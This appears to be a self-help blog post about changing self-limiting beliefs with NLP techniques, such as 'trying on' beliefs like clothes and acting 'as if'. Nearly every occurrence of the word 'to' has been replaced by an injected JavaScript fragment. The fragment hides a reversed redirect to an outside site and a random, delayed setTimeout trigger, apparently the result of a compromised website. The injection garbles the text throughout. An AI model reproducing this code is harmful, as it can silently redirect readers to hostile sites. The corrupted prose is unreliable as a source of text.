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A belief is not necessarily a fact.

A belief is just an idea that that you are holding on tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to as if it were true. You then act in a way that is consistent with this belief, and cease tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to question whether it is true.

Beliefs can empower you, or limit you. Self-limiting beliefs such as “you’re not clever enough” or “you’re not good enough” have a damaging effect on your self-esteem, and capacity tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make changes.

You might think that your beliefs are like your skin – an indivisible part of you, that it would be impossible tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to change.

You CAN change your beliefs

Beliefs are actually more like a set of clothes. You wear them most of the time. Your clothes are usually chosen tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fit the activity that you’re doing. Sometimes, you get caught up wearing clothes that no longer fit you, or are out of date, but you go on wearing them anyway because you don’t know any different, or because the old ones just feel safer, more familiar, more comfortable. Or because you don’t want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to go tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the trouble of choosing new ones.

The good news is that you can always try on a new set of clothes. And if you like them, you can keep them, and if you don’t, you can always choose different ones.

What are the beliefs that you are holding on tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to even though they no longer fit?

What if you could “borrow” a belief?

One of the first things that really made a difference tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to me when I was first learning NLP, was the idea that I could “try on” other beliefs for size. Like borrowing someone else’s clothes, and deciding if they suit me, or make it possible for me tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do something different.

For example, you are probably familiar with the experience of imposter syndrome. Imposter syndrome is the belief that you’re not good enough, or experienced enough, or qualified enough for the job that you are doing. Or a belief that you will shortly be “found out”. Holding this belief is exhausting – you have tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to keep looking over your shoulder for that moment you get found out.

What if you tried on a different suit of clothes? What if you held the belief that you are good enough? You don’t even have tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to believe that you are perfect, or the best, if that doesn’t sit right with you. What if you held the belief that you are good enough at what you know, and what you can do, and also that you are capable of learning the rest?

Try one on for size

Here’s a simple way tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to try on someone else’s beliefs:

Think about someone who has tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}total confidence in themselves and what they do. It could be someone you know personally, or perhaps a public figure you admire and respect.

Think about how they hold themselves, how they dress, how they behave and how they speak.

Now imagine stepping intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to their identity. Hold yourself that way, think the way they would think, and notice what beliefs they must hold about themselves. Try on those beliefs, like you would try on new clothes.

It might be things like:
– I know my stuff
– What I don’t know, I can learn or consult others
– I have a valuable contribution tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make
– I have every right tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be here, doing what I do
– I’m competent.

Add any other beliefs that feel right and empowering tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to you, while you try them on for size.

Act AS IF

The interesting thing is that because beliefs aren’t real, you don’t even have tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to actually believe them. You can simply act AS IF you believe them, and start tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to notice the difference.

Spend a bit of time in this new set of beliefs. Wear your new beliefs at home, at work, doing whatever you do. Just like new clothes or new shoes, it might take a little while for them tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to feel completely comfortable. You can make a few little alterations, or try them in different combinations. And soon, you will find that these new beliefs are truly empowering you.

If you’d like a downloadable worksheet of three more ways tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to change your self-limiting beliefs, anding/v4w3m3″>you can get one here.

And the good news about beliefs is that you can quite easily change them. Imagine taking those self-limiting beliefs above, and turning them intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to new empowering beliefs like these:
– I can influence events so that good things happen tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to me.
– I can learn and practice, and get better at this.
– This proves that there is a demand for what I do, and I can get a share of that market.
– I have a unique voice, and a unique point of view, that people will find useful and interesting.

Have a go now

Take a moment now tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to identify one or two of your own self-limiting beliefs, and try turning them intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to new empowering beliefs for yourself. Then keep repeating the new beliefs tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to yourself. Remind yourself daily, because it is only the repetition of any belief that fixes it in your mind. Constant repetition enables them tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to take root and embed them in your thinking.

 

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About Madeleine Allen:  The author is a specialist in Leadership,  Communication and Personal Development for business professionals.  An NLP Trainer and Master Practitioner she conducts in-house corporate training (learn more at www.allentraining.co.uk) and public courses in NLP (learn more at www.brightlightnlp.com)

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